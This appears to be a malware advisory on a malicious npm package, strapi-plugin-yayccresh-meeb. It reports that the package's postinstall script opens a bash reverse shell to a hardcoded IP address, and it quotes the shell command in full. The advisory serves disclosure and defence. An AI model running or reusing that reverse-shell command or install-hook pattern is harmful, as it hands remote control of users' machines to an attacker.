Summary
Malicious code in strapi-plugin-yayccresh-meeb (npm)

The package's postinstall lifecycle script (node postinstall.js) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (bash -i > /dev/tcp/14.225.210.85/443 0>&1). Running npm install on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.
